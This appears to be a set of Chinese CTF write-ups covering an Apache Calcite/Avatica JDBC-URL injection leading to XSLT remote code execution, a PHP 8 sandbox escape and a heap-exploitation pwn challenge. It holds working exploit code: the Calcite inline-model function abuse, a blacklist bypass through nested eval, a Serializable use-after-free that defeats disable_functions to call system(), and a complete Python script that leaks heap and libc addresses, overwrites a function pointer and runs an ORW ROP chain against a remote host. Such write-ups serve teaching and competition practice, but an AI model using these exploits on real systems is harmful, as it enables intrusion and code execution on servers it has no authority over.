'{className: java.lang.System,methodName: "*"},'
'{className: org.apache.calcite.runtime.XmlFunctions,methodName: xmlTransform}]}]'
)
a.open_calcite(cid, xml_model)
sid = a.stmt(cid)
expr = "||".join(f"s.getProperty('{chr(ord('a') + i)}')" for i in range(len(chunks)))
a.q(sid, f"select s.xmlTransform('<a/>',{expr})")
cid = rand_cid("b")
b64_model = 'version: 1\nschemas: [{name: s,functions: [{className: org.apache.calcite.avatica.util.Base64,methodName: "*"}]}]'
a.open_calcite(cid, b64_model)
sid = a.stmt(cid)
for _ in range(10):
time.sleep(0.3)
j = a.q(sid, f"select s.encodeFromFile('{out_file}')", quiet=True)
rows = j["results"][0]["firstFrame"]["rows"]
if rows and rows[0] and rows[0][0]:
print(base64.b64decode(rows[0][0]).decode(errors="replace"))
return
# ...
运行方式:
python3 greatsql_exp.py http://HOST:PORT/
0x0A 本地复现结果
本地对附件环境复现后,成功读到占位 flag:
flag{replace_flag_here}
说明整条利用链是通的。
远程环境下直接运行同一个 exp 即可拿到真实 flag。
0x0B 漏洞总结
这题的本质不是单点 bug,而是一条组合利用链:
- Avatica 服务错误地信任客户端传入的
jdbcUrl - Calcite inline model 允许注册任意 classpath 静态方法为 SQL 函数
XmlFunctions.xmlTransform+ Xalan extension 可形成命令执行- 服务存在 SUID
/readflag,使 RCE 可以稳定转化为 flag 读取 Base64.encodeFromFile提供了非常方便的数据回显通道
所以最终是一个很典型的:
JDBC URL 注入 → Calcite model abuse → SQL function abuse → XSLT Java extension RCE → SUID 读 flag
0x0C 一句话结论
题目的解法核心就是:
利用可控 jdbc:calcite:model=inline: 注册 Java 静态方法为 SQL 函数,借助 XmlFunctions.xmlTransform 执行带 xalan://java.lang.Runtime 的恶意 XSLT,调用 /readflag 并通过 Base64.encodeFromFile 把 flag 读回。
phpstilAlive
题目信息
- 题目:phpstilAlive
- 描述:php sandbox!!
- 目标:
http://web-26d72b9c20.adworld.xctf.org.cn/ - Flag:
flag{WKIv9h0NOdC2oSEND3RrXNnGr8Pt5lNE}
初始观察
首页是一个在线 PHP 运行器,表单字段为 code,提交后会执行 PHP 并在 <pre class="out"> 中回显输出。
普通代码可以执行:
<?php
echo 'OK:';
echo 1 + 2;
?>
输出:
OK:3
读取源码
虽然 file_get_contents 等函数被禁用,但 include 没有被禁用,可以用 php://filter 读取源码:
<?php
include 'php://filter/convert.base64-encode/resource=index.php';
?>
解码后核心逻辑如下:
function snippet_is_blocked(string $code): bool
{
$blocked_names = [
'arrayiterator' => true,
'arrayobject' => true,
'dateinterval' => true,
'datetime' => true,
'datetimeimmutable' => true,
'dateperiod' => true,
'hashcontext' => true,
'multipleiterator' => true,
'recursivearrayiterator' => true,
'spldoublylinkedlist' => true,
'splheap' => true,
'splmaxheap' => true,
'splminheap' => true,
'splobjectstorage' => true,
'weakmap' => true,
'weakreference' => true,
];
$blocked_calls = [
'date_create' => true,
'date_create_immutable' => true,
'date_diff' => true,
'date_interval_create_from_date_string' => true,
'prev' => true,
'session_start' => true,
'session_unset' => true,
'settype' => true,
'spl_autoload_register' => true,
'spl_autoload_unregister' => true,
'call_user_func' => true,
'call_user_func_array' => true,
];
$tokens = token_get_all("<?php\n" . $code);
...
}
执行前会做 token 黑名单检查,然后 eval($code):
if (snippet_is_blocked($code)) {
return "input rejected\n";
}
ob_start();
try {
eval($code);
} catch (Throwable $e) {
echo get_class($e), ': ', $e->getMessage(), "\n";
}
环境信息
探测配置:
<?php
echo 'cwd=' . getcwd() . "\n";
echo 'disable=' . ini_get('disable_functions') . "\n";
echo 'open_basedir=' . ini_get('open_basedir') . "\n";
echo 'disable_classes=' . ini_get('disable_classes') . "\n";
echo 'version=' . PHP_VERSION . "\n";
echo 'sapi=' . PHP_SAPI . "\n";
?>
关键结果:
cwd=/var/www/html
open_basedir=/var/www/html:/tmp
disable_classes=DateInterval
version=8.4.22
sapi=apache2handler
大量危险函数被禁用,包括:
system, exec, shell_exec, passthru, proc_open, popen,
file_get_contents, file_put_contents, fopen, readfile,
scandir, glob, chmod, chown, copy, rename, symlink, curl_exec ...
题目文件线索
/var/www/html 只有 index.php。/tmp 下有部署残留:
/tmp/tmp_installers/.../scene_file/.../pushflag.sh
读取 pushflag.sh:
<?php
include 'php://filter/convert.base64-encode/resource=/tmp/tmp_installers/.../pushflag.sh';
?>
脚本内容:
#!/bin/sh
set -eu
FLAG_FILE="/lfag-9f1d7c2e-6a2c-4e54-9d7e-6cb10c4b8f9a"
if [ "$#" -ne 1 ]; then
echo "usage: $0 <flag>" >&2
exit 2
fi
printf '%s\n' "$1" > "$FLAG_FILE"
chown root:root "$FLAG_FILE"
chmod 0400 "$FLAG_FILE"
所以 flag 文件路径是:
/lfag-9f1d7c2e-6a2c-4e54-9d7e-6cb10c4b8f9a
但 PHP 被 open_basedir 限制,且 flag 为 root 0400,普通文件读不可行。
绕过源码黑名单
黑名单只检查用户提交的第一层源码,不递归检查运行时生成的代码。
因此可以二次 eval:
<?php
eval(base64_decode('ZWNobyAiT0tcbiI7'));
?>
解码后实际执行:
echo "OK\n";
这个技巧可以绕过 DateInterval、WeakMap、call_user_func 等 token 级过滤,但绕不过 disable_functions。
选择利用方向
最开始尝试了公开的 TimeAfterFree PHP 8 sandbox escape,但目标配置了:
disable_classes=DateInterval
在这个环境里,new DateInterval('PT0S') 得到的是空壳对象:
object(DateInterval)#1 (0) {
}
TimeAfterFree 依赖 DateInterval 的内部字段作为读写原语,因此原版不适配。
最终使用 PHP Serializable var_hash UAF 方向。这个漏洞可以在 PHP 8.x 中通过自定义 Serializable 类触发,并绕过 disable_functions 找回原始 zif_system handler。
核心触发类:
class C implements Serializable {
function serialize(): string {
return '';
}
function unserialize(string $d): void {
unserialize($d)->x = 0;
}
}
漏洞点是 Serializable::unserialize() 中递归调用 unserialize() 会复用外层 var_hash。内部反序列化出的 stdClass 属性表扩容后,外层 R:N 引用仍能指向被释放的 bucket,从而构造 UAF。
利用流程:
- 构造
stdClass8 个属性,填满初始 property HashTable。 - 在
C::unserialize()里给对象新增x属性,触发 8 -> 16 扩容并释放旧 arData。 - 用字符串 spray 回收释放块。
- 通过 stale
R:4..R:11构造 heap leak 和任意读。 - 扫描 heap 中的 Closure 对象,定位
closure_handlers、zend_ce_closure。 - 扫描 executor globals,定位
function_table和symbol_table。 - 从 standard module 的静态函数表中找原始
zif_system,绕过disable_functions。 - 构造 fake Closure,调用
system()。
工作区里的 mad_min.php 是压缩后的 exploit,默认命令为:
$cmd='id';
使用 submit_php.py 提交:
Get-Content -Raw .\mad_min.php | python .\submit_php.py --raw
成功执行命令:
R
H
O
F
S
GO
uid=33(www-data) gid=33(www-data) groups=33(www-data)
读取 Flag
先用 RCE 枚举根目录:
ls -la /
关键文件:
-r-------- 1 root root 39 Jun 14 07:03 lfag-9f1d7c2e-6a2c-4e54-9d7e-6cb10c4b8f9a
-rwsr-xr-x 1 root root 14552 Jun 11 07:50 readflag
直接 cat /lfag-... 权限不足:
Permission denied
但 /readflag 是 root SUID,执行即可:
$cmd='/readflag';
输出:
R
H
O
F
S
GO
flag{WKIv9h0NOdC2oSEND3RrXNnGr8Pt5lNE}
复现文件
当前工作区保留了两个主要文件:
- submit_php.py:POST 提交器,负责提交
code并抽取<pre class="out">。 - mad_min.php:压缩后的 PHP 8.x Serializable var_hash UAF 利用代码。
注意目标对 code 字段有约 16KB 到 20KB 的实际长度限制,原版公开 PoC 过大,提交后字段会被置空;所以这里使用压缩版 exploit。
PWN
CHAOS;HEAD
题目名称为 CHAOS_HEAD,类型是 Pwn。整体利用方式是:先通过 SQL 事务状态和 snapshot 状态的不一致制造堆泄露,再利用 LOAD SNAPSHOT DATA 对后方 writer 对象进行覆盖,最后把 writer+0x40 的函数指针改成 setcontext+0x3d,完成堆上栈迁移并执行 ORW 读取 flag。
附件目录中主要文件如下:
ok
ld-linux-x86-64.so.2
libc.so.6
libstdc++.so.6
libseccomp.so.2
libm.so.6
libgcc_s.so.1
其中 ok 是主程序,程序指定解释器为同目录下的 ./ld-linux-x86-64.so.2,因此本地调试时需要在题目目录中运行,保证加载附件给出的 libc 和相关动态库。
首先查看文件类型和保护情况:

程序为 64 位 ELF,开启 PIE,并且被 stripped。同时可以看到 FULL RELRO、Canary、NX、PIE 都开启,因此普通的栈溢出覆盖返回地址、GOT 劫持等思路都不太现实。
进一步通过字符串和动态符号可以看到程序使用了 libseccomp:

再使用 seccomp-tools dump ./ok 查看 syscall 过滤规则,可以确认程序限制了 execve 和 execveat:

也就是说,即使后面能够控制 RIP,也不能简单执行 system("/bin/sh") 或者 execve("/bin/sh")。最终利用目标需要改为 ORW,即通过 open/read/write 直接读取 flag 文件。
程序启动后进入一个自定义命令解释器,提供了类似数据库、脚本和快照混合的功能。直接输入 help 可以看到支持的命令:

通过字符串也可以看到大量命令关键字:
SQL
SCRIPT
BEGIN
SAVEPOINT
COMMIT
ROLLBACK
CHECKPOINT
LOAD SNAPSHOT
DUMP SNAPSHOT
CONFIG
EXIT
其中比较关键的是三组功能。第一组是 SQL 相关功能,程序内部实现了一个简化数据库,支持建表、插入、删除和查询。在 IDA 的字符串窗口中能看到 SQL 解析和报错相关字符串:

第二组是事务相关功能:
BEGIN
SAVEPOINT
ROLLBACK
COMMIT
CHECKPOINT
这些命令会影响 SQL 对象、索引对象和事务日志对象的生命周期。
第三组是 snapshot 相关功能。在 IDA 字符串中可以看到 snapshot opened、snapshot bytes、snapshot data、snapshot cleared 等字符串:

snapshot 功能内部维护了一个 writer 对象。正常情况下,DUMP SNAPSHOT 会通过 writer 结构体中的函数指针输出 snapshot 内容。后面控制流劫持的位置也正是这个 writer 函数指针。
本题的漏洞点可以理解为 SQL 事务状态和 snapshot 状态之间出现了不一致。正常情况下,SQL 表、事务日志、索引结构和 snapshot writer 应该保持同步。但是通过大量嵌套的 BEGIN、SAVEPOINT、CHECKPOINT、ROLLBACK,再配合 SQL 插入和删除操作,可以让程序进入一个异常事务状态。
关键触发点是重复插入主键 id=8:
SQL INSERT INTO t (id,v,name) VALUES (8,-2,'');
第一次插入 id=8 后,事务和索引中已经记录了这一行。随后打开 snapshot:
LOAD SNAPSHOT OPEN
LOAD SNAPSHOT DATA 4142434445464748
再一次插入相同主键 id=8:
SQL INSERT INTO t (id,v,name) VALUES (8,-2,'');
此时会触发主键冲突路径。这个异常路径没有正确维护 snapshot 相关对象的状态,导致 snapshot 的长度或者数据范围被污染。表现出来的效果是:执行 DUMP SNAPSHOT 时,程序本来应该只输出很短的 snapshot 数据,但实际会泄露出大约 0x1000 字节的堆内容。
利用链第一阶段可以概括为:
构造 SQL 表
↓
通过 BEGIN / SAVEPOINT / CHECKPOINT / ROLLBACK 调整事务状态
↓
插入 id=8
↓
打开 snapshot
↓
再次插入 id=8 触发冲突
↓
snapshot 状态被污染
↓
DUMP SNAPSHOT 泄露堆数据
为了验证第一次泄露,可以先生成一个只触发泄露、不进入最终 ORW 的 stage1.txt:
A = lambda n: "A" * n
cmds = [
"SQL CREATE TABLE t (id INT PRIMARY KEY, v INT, name TEXT);",
"BEGIN",
"SAVEPOINT",
f"SQL INSERT INTO t (id,v,name) VALUES (2,-1,'{A(500)}');",
"SAVEPOINT",
"SAVEPOINT",
"SAVEPOINT",
"BEGIN",
f"SQL INSERT INTO t (id,v,name) VALUES (9,-1,'{A(2000)}');",
"CHECKPOINT",
"CHECKPOINT",
"CHECKPOINT",
"CHECKPOINT",
"ROLLBACK",
f"SQL INSERT INTO t (id,v,name) VALUES (5,-2,'{A(2000)}');",
"BEGIN",
"SQL CREATE TABLE t (id INT PRIMARY KEY, v INT, name TEXT);",
"SAVEPOINT",
"SQL SELECT * FROM t ORDER BY id;",
"SQL INSERT INTO t (id,v,name) VALUES (6,-2,'A');",
"BEGIN",
"SAVEPOINT",
"ROLLBACK",
"BEGIN",
"BEGIN",
"ROLLBACK",
f"SQL INSERT INTO t (id,v,name) VALUES (3,-2,'{A(500)}');",
"CHECKPOINT",
"SQL DELETE FROM t WHERE id = 6;",
"CHECKPOINT",
"BEGIN",
"SQL INSERT INTO t (id,v,name) VALUES (8,-2,'');",
"CHECKPOINT",
"COMMIT",
'SCRIPT a="' + "B" * 256 + '"',
"LOAD SNAPSHOT OPEN",
"LOAD SNAPSHOT DATA 4142434445464748",
"SQL INSERT INTO t (id,v,name) VALUES (8,-2,'');",
"DUMP SNAPSHOT",
]
open("stage1.txt", "w").write("\n".join(cmds) + "\n")
运行后可以看到,程序在打开 snapshot 并写入 8 字节后,再次插入 id=8 会触发 insert conflict,之后 DUMP SNAPSHOT 输出的已经不是原本写入的 4142434445464748,而是很长一段 hex 数据:

这里可以进一步动调验证。由于程序开启了 PIE,需要先在 gdb/pwndbg 中查看 vmmap,找到 ok 的 PIE 基址。本地调试时,offset 为 0 的映射段起始地址为 0x555555554000,因此这里的 PIE base 为:
0x555555554000

接着在 IDA 中定位 DUMP SNAPSHOT 的处理逻辑。通过搜索 snapshot data:、DUMP、SNAPSHOT 等字符串,可以定位到 snapshot 输出函数及其调用点。在汇编中能看到关键的间接调用:
call qword ptr [rax+40h]
对应静态偏移为 0x106b5:


因此在 gdb 中可以断在 PIE_BASE + 0x106b5,也就是:
delete breakpoints
set $pie = 0x555555554000
b *($pie + 0x106b5)
run < stage1.txt
同时也可以把输出重定向到 out.txt,用 Python 统计 snapshot data 的长度:
import re
data = open("out.txt", "rb").read()
m = re.search(rb"snapshot data: ([0-9a-f]+)", data)
if not m:
print("no snapshot data found")
exit()
hexdata = m.group(1)
leak = bytes.fromhex(hexdata.decode())
print("hex length =", len(hexdata))
print("byte length =", len(leak))
print("head =", hexdata[:64])
print("tail =", hexdata[-64:])
从结果可以看到,hex 长度为 8192,换算成原始字节长度正好是 4096,即 0x1000 字节,说明 snapshot 输出长度已经被污染:

在第一次 DUMP SNAPSHOT 的间接调用前断下后,还可以直接观察寄存器。此时 RIP 停在 call qword ptr [rax+0x40],RDI 是 snapshot data 指针,RSI 是输出长度,RDX 指向 _IO_2_1_stdout_。图中 RSI = 0x1000,说明程序这次准备输出 0x1000 字节:

这一步说明 DUMP SNAPSHOT 确实形成了堆泄露原语,泄露数据中包含 heap 指针、snapshot data 指针、snapshot writer 附近指针、libc 中 _IO_2_1_stdout_ 指针以及 writer 原本的函数指针,从而可以同时解决 heap 和 libc 地址随机化问题。
拿到泄露后,将 DUMP SNAPSHOT 输出的十六进制字符串还原为字节数组:
m = re.search(rb"snapshot data: ([0-9a-f]+)", out)
if not m:
raise Exception("no snapshot leak")
leak = bytes.fromhex(m.group(1).decode())
因为该泄露是从 snapshot data 起始地址开始输出的,所以 leak 中的偏移可以直接对应到 data_addr 后方的内存布局。动调时断在 DUMP SNAPSHOT 的间接调用前,可以看到此时 RDI 为 snapshot data 地址,RAX 为 writer 对象地址,二者相减得到:
writer_addr - data_addr = 0x7f0
而 writer 对象中 +0x40 处是 dump 函数指针,+0x48 处是输出相关指针。因此它们在泄露数据中的偏移分别为:
0x7f0 + 0x40 = 0x830
0x7f0 + 0x48 = 0x838
所以可以通过下面的方式从泄露中取出 writer 原始函数指针以及 libc 中的 _IO_2_1_stdout_ 地址:
old_fn = u64(leak[0x830:0x838])
stdout_addr = u64(leak[0x838:0x840])
libc_base = stdout_addr - 0x2045c0
其中 0x2045c0 来自附件 libc 中 _IO_2_1_stdout_ 的符号偏移。可以通过下面的命令确认:
readelf -Ws ./libc.so.6 | grep _IO_2_1_stdout_
另外,泄露数据在 0x1c0 偏移处存在一个稳定的 heap 指针。通过和 gdb 中 RDI 保存的真实 snapshot data 地址对比,可以得到:
data_addr = u64(leak[0x1c0:0x1c8]) + 0x1390
page_addr = data_addr - 0x20
writer_addr = data_addr + 0x7f0
这里 page_addr = data_addr - 0x20 是因为 snapshot data 前面有一段大约 0x20 字节的 page header;writer_addr = data_addr + 0x7f0 来自前面 gdb 中 RAX - RDI = 0x7f0 的调试结果。

第一阶段泄露完成后,可以得到 snapshot data 地址、writer 地址以及 libc 基址。根据前面的调试结果,writer_addr - data_addr = 0x7f0,而 writer+0x40 是 DUMP SNAPSHOT 时调用的函数指针,因此该函数指针相对 data_addr 的偏移为:
0x7f0 + 0x40 = 0x830
也就是说,只要后续通过 LOAD SNAPSHOT DATA 从 data_addr 开始写入超过 0x830 字节,就能够覆盖到 writer+0x40。第二阶段中,先执行:
LOAD SNAPSHOT CLEAR
LOAD SNAPSHOT DATA <payload>
其中 payload 的 0x830 偏移处写入 setcontext+0x3d,0x838 偏移处写入 data_addr:
payload[0x830:0x838] = setcontext + 0x3d
payload[0x838:0x840] = data_addr
这样再次执行 DUMP SNAPSHOT 时,程序会调用 writer 中的函数指针。由于 writer+0x40 已经被改为 setcontext+0x3d,控制流会进入 libc 的 setcontext,并从 data_addr 处恢复伪造的寄存器上下文,最终将栈迁移到堆上的 ROP 链。

从调试结果可以看到,第二次触发 DUMP SNAPSHOT 前,writer+0x40 已经不再是原来的 dump 函数,而是被覆盖为 libc 中的 setcontext+0x3d;同时 writer+0x48 被覆盖为 data_addr。这说明 LOAD SNAPSHOT DATA 的长 payload 确实越过 snapshot data 区域覆盖到了后方 writer 对象,从而完成了控制流劫持。

之所以选择 setcontext+0x3d,是因为程序没有普通栈溢出,不能直接控制栈上的返回地址。此时已经拥有了 libc 泄露、heap 泄露、对 snapshot data 的可控写以及对 writer 函数指针的覆盖。setcontext 会从用户提供的一块内存中恢复寄存器上下文,包括 rdi、rsi、rdx、rsp、rip 等寄存器,因此只要在 snapshot data 上伪造一个 context,就可以让程序把 rsp 迁移到堆上的 ROP 链,然后继续执行 ORW。
本题中 fake context、ROP 链、flag 字符串、read buffer 都放在同一块可控堆内存中。第二阶段 payload 以 data_addr 为基址,整体布局如下:
data_addr + 0x000: fake ucontext
data_addr + 0x300: "flag\x00"
data_addr + 0x400: read buffer
data_addr + 0x500: ORW ROP chain
data_addr + 0x700: fpstate
data_addr + 0x830: 覆盖 writer+0x40 和 writer+0x48
构造 fake context 的关键代码如下:
flag_addr = data_addr + 0x300
buf_addr = data_addr + 0x400
rop_addr = data_addr + 0x500
fpstate = data_addr + 0x700
payload = bytearray(b"\x00" * 0x830)
def w64(off, val):
struct.pack_into("<Q", payload, off, val & 0xffffffffffffffff)
def w32(off, val):
struct.pack_into("<I", payload, off, val & 0xffffffff)
w64(0x68, flag_addr) # rdi
w64(0x70, 0) # rsi
w64(0x88, 0) # rdx
w64(0x98, 0) # rcx
w64(0xa0, rop_addr) # rsp
w64(0xa8, libc_base + POP_RDI) # rip
w64(0xe0, fpstate) # fpstate
w32(0x1c0, 0x1f80) # mxcsr
payload[0x300:0x305] = b"flag\x00"
其中 0xa0 处控制恢复后的 rsp,让其指向堆上的 ROP 链;0xa8 处控制恢复后的 rip,让其从第一个 gadget 开始执行。
由于 seccomp 禁止了 execve 和 execveat,所以最终不能拿 shell,而是直接读 flag 文件。使用的 libc 偏移如下:
STDOUT_OFF = 0x2045c0
SETCONTEXT = 0x4a99d
POP_RDI = 0x10f78b
POP_RSI = 0x110a7d
POP_RDX_MUL = 0xb505c
POP_RAX = 0xdd237
SYSCALL_RET = 0x98fb6
其中 POP_RDX_MUL 对应的 gadget 不是单纯的 pop rdx; ret,而是类似:
pop rdx
xor eax, eax
pop rbx
pop r12
pop r13
pop rbp
ret
因此使用时需要额外补齐后面的寄存器:
def add_rdx(chain, libc_base, val):
chain += [
libc_base + POP_RDX_MUL,
val,
0,
0,
0,
0,
]
ORW 链如下:
chain = []
# open("flag", 0, 0)
chain += [
flag_addr,
libc_base + POP_RSI,
0,
]
add_rdx(chain, libc_base, 0)
chain += [
libc_base + POP_RAX,
2,
libc_base + SYSCALL_RET,
]
# read(3, buf_addr, 0x100)
chain += [
libc_base + POP_RDI,
3,
libc_base + POP_RSI,
buf_addr,
]
add_rdx(chain, libc_base, 0x100)
chain += [
libc_base + POP_RAX,
0,
libc_base + SYSCALL_RET,
]
# write(1, buf_addr, 0x100)
chain += [
libc_base + POP_RDI,
1,
libc_base + POP_RSI,
buf_addr,
]
add_rdx(chain, libc_base, 0x100)
chain += [
libc_base + POP_RAX,
1,
libc_base + SYSCALL_RET,
]
# exit(0)
chain += [
libc_base + POP_RDI,
0,
]
add_rdx(chain, libc_base, 0)
chain += [
libc_base + POP_RAX,
60,
libc_base + SYSCALL_RET,
]
这里默认 open("flag", 0) 返回 fd 为 3。本地和远程环境中该假设均成立。如果远程环境中没有输出 flag,可以尝试将路径从 flag 改为 /flag,或者将 read 的 fd 从 3 改为 4、5 进行测试。
最终将 ROP 链写入 payload,再追加对 writer 的覆盖内容:
rop = b"".join(p64(x) for x in chain)
payload[0x500:0x500 + len(rop)] = rop
payload += p64(libc_base + SETCONTEXT)
payload += p64(data_addr)
由于前面已经填充了 0x830 字节,所以最后两句会正好落到 writer+0x40 和 writer+0x48。此时 payload 总长度为 0x840。
第二阶段发送流程如下:
io.sendline("LOAD SNAPSHOT CLEAR")
for part in (payload[:0x700], payload[0x700:]):
io.sendline(b"LOAD SNAPSHOT DATA " + part.hex().encode())
io.sendline("DUMP SNAPSHOT")
这里 payload 需要分段发送。原因是 LOAD SNAPSHOT DATA 后面跟的是 hex 字符串,如果一次发送完整 payload,命令行过长时可能被截断。拆成两段发送更加稳定。再次执行 DUMP SNAPSHOT 后,完整执行流程如下:
DUMP SNAPSHOT
↓
调用 writer+0x40
↓
进入 setcontext+0x3d
↓
从 data_addr 恢复 fake context
↓
rsp 迁移到 data_addr+0x500
↓
执行 ORW ROP
↓
open/read/write 输出 flag
本地为了确认 ORW 链没有问题,可以先创建一个假 flag:
echo 'FAKEFLAG{local_orw_success_test}' > flag
然后运行本地 exploit。成功时能够看到 libc 基址、page/data/writer 地址、writer 原函数指针和 stdout 地址,并最终读出本地假 flag,说明泄露、writer 覆盖、setcontext 栈迁移和 ORW 都已经正常工作。
io = remote(
"pwn-1779d6b8fe.adworld.xctf.org.cn",
9999,
ssl=True
)
python3 chaos_head_remote_ssl_exp.py \
--host pwn-1779d6b8fe.adworld.xctf.org.cn \
--port 9999 \
--ssl
远程返回的信息:

其中 stdout_addr - 0x2045c0 能够得到正常页对齐的 libc 基址,说明远程 libc 与附件 libc 一致。最终远程成功读取到 flag:
flag{NDxAGnLVlP70vkwC4uZahmqItJjqNN52}
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CHAOS_HEAD exploit, rewritten version.
Usage:
local: python3 chaos_head_solve_rewrite.py --local --fake
remote: python3 chaos_head_solve_rewrite.py --host pwn-1779d6b8fe.adworld.xctf.org.cn --port 9999 --tls
debug: python3 chaos_head_solve_rewrite.py --local --fake --pause-before-final
"""
import argparse
import os
import re
import select
import socket
import ssl
import struct
import subprocess
import sys
import time
def q(x: int) -> bytes:
return struct.pack("<Q", x & 0xffffffffffffffff)
def uq(buf: bytes, off: int = 0) -> int:
return struct.unpack_from("<Q", buf, off)[0]
# Offsets are for the libc bundled with the challenge.
SYM = {
"stdout": 0x2045c0,
"setctx_3d": 0x4a99d,
"pop_rdi": 0x10f78b,
"pop_rsi": 0x110a7d,
"pop_rdx_pack":0xb505c, # pop rdx; xor eax,eax; pop rbx; pop r12; pop r13; pop rbp; ret
"pop_rax": 0xdd237,
"sysret": 0x98fb6,
}
class ProcIO:
def __init__(self, path: str):
self.p = subprocess.Popen(
[path], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE
)
def line(self, data):
if isinstance(data, str):
data = data.encode()
self.p.stdin.write(data + b"\n")
self.p.stdin.flush()
def take(self, timeout=0.25) -> bytes:
end = time.time() + timeout
out = bytearray()
while time.time() < end:
r, _, _ = select.select([self.p.stdout], [], [], 0.03)
if r:
chunk = os.read(self.p.stdout.fileno(), 0x10000)
if not chunk:
break
out += chunk
elif self.p.poll() is not None:
break
return bytes(out)
def finish(self):
try:
o, e = self.p.communicate(timeout=0.6)
except subprocess.TimeoutExpired:
self.p.kill()
o, e = self.p.communicate()
return o, e
class SockIO:
def __init__(self, host: str, port: int, use_tls: bool):
s = socket.create_connection((host, port), timeout=8)
if use_tls:
ctx = ssl._create_unverified_context()
s = ctx.wrap_socket(s, server_hostname=host)
s.setblocking(False)
self.s = s
def line(self, data):
if isinstance(data, str):
data = data.encode()
self.s.sendall(data + b"\n")
def take(self, timeout=0.25) -> bytes:
end = time.time() + timeout
out = bytearray()
while time.time() < end:
r, _, _ = select.select([self.s], [], [], 0.03)
if not r:
continue
try:
chunk = self.s.recv(0x10000)
except BlockingIOError:
continue
if not chunk:
break
out += chunk
return bytes(out)
def finish(self):
out = self.take(1.0)
try:
self.s.close()
except Exception:
pass
return out, b""
def tx_script():
s = "A".__mul__
blocks = [
[
"SQL CREATE TABLE t (id INT PRIMARY KEY, v INT, name TEXT);",
"BEGIN", "SAVEPOINT",
"SQL INSERT INTO t (id,v,name) VALUES (2,-1,'%s');" % s(500),
"SAVEPOINT", "SAVEPOINT", "SAVEPOINT", "BEGIN",
"SQL INSERT INTO t (id,v,name) VALUES (9,-1,'%s');" % s(2000),
"CHECKPOINT", "CHECKPOINT", "CHECKPOINT", "CHECKPOINT",
"ROLLBACK",
"SQL INSERT INTO t (id,v,name) VALUES (5,-2,'%s');" % s(2000),
],
[
"BEGIN",
"SQL CREATE TABLE t (id INT PRIMARY KEY, v INT, name TEXT);",
"SAVEPOINT",
"SQL SELECT * FROM t ORDER BY id;",
"SQL INSERT INTO t (id,v,name) VALUES (6,-2,'A');",
"BEGIN", "SAVEPOINT", "ROLLBACK",
"BEGIN", "BEGIN", "ROLLBACK",
"SQL INSERT INTO t (id,v,name) VALUES (3,-2,'%s');" % s(500),
"CHECKPOINT",
"SQL DELETE FROM t WHERE id = 6;",
"CHECKPOINT",
"BEGIN",
"SQL INSERT INTO t (id,v,name) VALUES (8,-2,'');",
"CHECKPOINT",
"COMMIT",
],
[
'SCRIPT a="' + ("B" * 256) + '"',
"LOAD SNAPSHOT OPEN",
"LOAD SNAPSHOT DATA 4142434445464748",
"SQL INSERT INTO t (id,v,name) VALUES (8,-2,'');",
"DUMP SNAPSHOT",
],
]
ans = []
for part in blocks:
ans.extend(part)
return ans
def first_round(io):
transcript = bytearray()
for cmd in tx_script():
io.line(cmd)
time.sleep(0.006)
transcript += io.take(0.02)
transcript += io.take(0.9)
found = re.search(rb"snapshot data: ([0-9a-f]+)", bytes(transcript))
if not found:
sys.stderr.write(bytes(transcript)[-1800:].decode("latin1", "replace") + "\n")
raise RuntimeError("snapshot leak not found")
blob = bytes.fromhex(found.group(1).decode())
if len(blob) < 0x840:
raise RuntimeError("leak is too short: %#x" % len(blob))
outp = uq(blob, 0x838)
libc = outp - SYM["stdout"]
data = uq(blob, 0x1c0) + 0x1390
return {
"libc": libc,
"data": data,
"page": data - 0x20,
"writer": data + 0x7f0,
"old_cb": uq(blob, 0x830),
"stdout": outp,
"leak_len": len(blob),
}
def rdx(chain, base, value):
chain.extend([base + SYM["pop_rdx_pack"], value, 0, 0, 0, 0])
def second_blob(base: int, data: int, path=b"flag\x00") -> bytes:
name = data + 0x300
buf = data + 0x400
stk = data + 0x500
fp = data + 0x700
b = bytearray(0x830)
def W(off, value):
struct.pack_into("<Q", b, off, value & 0xffffffffffffffff)
def D(off, value):
struct.pack_into("<I", b, off, value & 0xffffffff)
# ucontext-like area consumed by setcontext+0x3d.
W(0x68, name) # rdi
W(0x70, 0) # rsi
W(0x88, 0) # rdx
W(0x98, 0) # rcx
W(0xa0, stk) # rsp
W(0xa8, base + SYM["pop_rdi"]) # rip after context restore
W(0xe0, fp) # fpstate
D(0x1c0, 0x1f80) # mxcsr
b[0x300:0x300 + len(path)] = path
chain = []
# open(path, 0, 0)
chain += [name, base + SYM["pop_rsi"], 0]
rdx(chain, base, 0)
chain += [base + SYM["pop_rax"], 2, base + SYM["sysret"]]
# read(3, buf, 0x100)
chain += [base + SYM["pop_rdi"], 3, base + SYM["pop_rsi"], buf]
rdx(chain, base, 0x100)
chain += [base + SYM["pop_rax"], 0, base + SYM["sysret"]]
# write(1, buf, 0x100)
chain += [base + SYM["pop_rdi"], 1, base + SYM["pop_rsi"], buf]
rdx(chain, base, 0x100)
chain += [base + SYM["pop_rax"], 1, base + SYM["sysret"]]
# exit(0)
chain += [base + SYM["pop_rdi"], 0]
rdx(chain, base, 0)
chain += [base + SYM["pop_rax"], 60, base + SYM["sysret"]]
rop = b"".join(q(x) for x in chain)
b[0x500:0x500 + len(rop)] = rop
# overflow from snapshot data into writer object:
# data+0x830 == writer+0x40, data+0x838 == writer+0x48
b += q(base + SYM["setctx_3d"])
b += q(data)
return bytes(b)
def solve(args):
if args.fake and not os.path.exists("flag"):
with open("flag", "wb") as f:
f.write(b"FAKEFLAG{local_orw_success_test}\n")
if args.host:
tube = SockIO(args.host, args.port, args.tls)
else:
tube = ProcIO(args.binary)
z = first_round(tube)
print("[+] leak_len = %#x" % z["leak_len"])
print("[+] libc_base = %#x" % z["libc"])
print("[+] page/data/writer = %#x / %#x / %#x" % (z["page"], z["data"], z["writer"]))
print("[+] old_cb/stdout = %#x / %#x" % (z["old_cb"], z["stdout"]))
body = second_blob(z["libc"], z["data"], b"/flag\x00" if args.slash_flag else b"flag\x00")
print("[+] second payload = %#x" % len(body))
print("[+] setcontext target = %#x" % (z["libc"] + SYM["setctx_3d"]))
if args.pause_before_final:
input("[*] attach gdb now, then press Enter ...")
tube.line("LOAD SNAPSHOT CLEAR")
time.sleep(0.05)
tube.take(0.15)
# Split to avoid overly long command line.
for piece in (body[:0x700], body[0x700:]):
tube.line(b"LOAD SNAPSHOT DATA " + piece.hex().encode())
time.sleep(0.08)
tube.take(0.15)
tube.line("DUMP SNAPSHOT")
time.sleep(0.45)
out = tube.take(1.4)
tail, err = tube.finish()
out += tail
